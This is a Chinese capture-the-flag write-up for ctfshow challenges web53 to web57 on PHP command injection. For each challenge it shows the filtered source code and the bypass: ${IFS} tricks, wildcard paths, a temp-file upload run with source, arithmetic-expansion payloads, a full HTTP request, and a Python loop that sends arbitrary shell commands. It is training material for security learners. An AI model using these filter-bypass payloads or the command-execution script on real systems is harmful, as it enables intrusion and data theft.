ctfshow web53-57 命令执行
慢慢打基础
web53
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
echo($c);
$d = system($c);
echo "<br>".$d;
}else{
echo 'no';
}
}else{
highlight_file(__FILE__);
}
多了几段代码,没有影响
$d = system($c);
echo "<br>".$d;
?c=nl${IFS}fl\ag.php
web54
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}
很强力的过滤,前面的方法不能用了
- 比如
.*c.*a.*t.*,意味着只要匹配到cat就会被过滤,如c122321at,cslhat。
ls没被过滤,先看一下目录

flag就在当前目录下,省去了寻找的麻烦
我们前面的payload是, ?c=ca/t${IFS}fla/g.php
虽然ca\t或ca”t不能用,但是我们可以通过绝对路径来调取命令(/bin/cat),不过需要加上通配符?,即 /bin/ca? 。
flag也要改成,f???.php
?c=/bin/ca?${IFS}f???.php
然后查看网页源代码
或者使用grep
grep: Linux 强大的文本搜索工具。它的基本语法是grep [可选参数] [内容] [文件]。
可以这样用grep${IFS}\{${IFS}f??????? 或者?c=grep${IFS}'fla'${IFS}fla?.php
web55
<?php
// 你们在炫技吗?
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}
这道题禁用掉了字母,但没有禁用数字,可以从这下手
利用base64指令读取flag.php
?c=/bin/bash/base64 flag.php,用通配符替换掉字母,得到:
?c=/???/????64%20????.???
将得到的结果解码:

这道题类似之前做的一道题(见红包题第二弹)
题目
<?php
if(isset($_GET['cmd'])){
$cmd=$_GET['cmd'];
highlight_file(__FILE__);
if(preg_match("/[A-Za-oq-z0-9$]+/",$cmd)){
die("cerror");
}
if(preg_match("/\~|\!|\@|\#|\%|\^|\&|\*|\(|\)|\(|\)|\-|\_|\{|\}|\[|\]|\'|\"|\:|\,/",$cmd)){
die("serror");
}
eval($cmd);
}
?>
简单讲下思路,这道题没过滤.,即source命令,将命令写入文件,然后用source执行。
通过post上传文件,系统一般会创建一个临时文件/tmp/php??????,上传文件的名称被系统修改成php??????,后面是六位随机大小写字母或数字。
本地创建一个网页,将题目链接填进去:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>POST数据包POC</title>
</head>
<body>
<form action=" " method="post" enctype="multipart/form-data">
<!--空格填入题目链接-->
<label for="file">文件名:</label>
<input type="file" name="file" id="file"><br>
<input type="submit" name="submit" value="提交">
</form>
</body>
</html>
上传的文件post.php里填:
#! /bin/sh
ls
然后抓包,并修改一下路径:
?c=.+/???/????????[@-[]
- /???/ 对应 /tmp/
- ????????[@-[] 这里拆开来看
- 前面三位 ??? 对应 php
- 中间五位 ????? 对应随机大小写字母或数字
- 最后一位 [@-[] 是一个 ASCII 字符区间匹配
- 在 ASCII 编码表中:
@的编码是 64,[的编码是 91。可以表示大写字母A-Z(65-90)。 - 最后一位强制匹配大写字母,可以极大地过滤掉干扰项,提高命中我们上传文件的概率。
- 在 ASCII 编码表中:
数据包:
POST /?c=.+/???/????????[@-[] HTTP/1.1
Host: b073579d-6a63-4631-a175-360efb314760.challenge.ctf.show
Content-Length: 308
Cache-Control: max-age=0
Origin: http://127.0.0.1:5500
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryQSRgf1E6aX48rz4d
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://127.0.0.1:5500/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: keep-alive
------WebKitFormBoundaryQSRgf1E6aX48rz4d
Content-Disposition: form-data; name="file"; filename="post.php"
Content-Type: application/octet-stream
#! /bin/sh
ls
------WebKitFormBoundaryQSRgf1E6aX48rz4d
Content-Disposition: form-data; name="submit"
提交
------WebKitFormBoundaryQSRgf1E6aX48rz4d--


或者直接用python脚本:
import requests
url='http://b073579d-6a63-4631-a175-360efb314760.challenge.ctf.show/'
payload='?c=.+/???/????????[@-[]'
while 1:
command=input("please input your command:")
file={"file":f"#!/bin/bash\n{command}"}
r=requests.post(url=url+payload,files=file).text
print(r)
print('-----------------------')
web56
<?php
// 你们在炫技吗?
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|[0-9]|\\$|\(|\{|\'|\"|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}
在理解了web55后,这道题也是轻而易举
python脚本:
import requests
url='http://6375d409-ea3f-43d8-b0b2-e30378b80ab5.challenge.ctf.show/'
payload='?c=.+/???/????????[@-[]'
while 1:
command=input("please input your command:")
file={"file":f"#!/bin/bash\n{command}"}
r=requests.post(url=url+payload,files=file).text
print(r)
print('-----------------------')
web57
<?php
// 还能炫的动吗?
//flag in 36.php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|[0-9]|\`|\|\#|\'|\"|\`|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i", $c)){
system("cat ".$c.".php");
}
}else{
highlight_file(__FILE__);
}
在linux下:
$(())=0
$((~ $(()) ))=-1

而$((~36))=-37

所以我们只需要将37个$((~ $(()) ))拼接,再取反就能得到36了
?c=$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(()))) ))))
最后查看网页源代码即可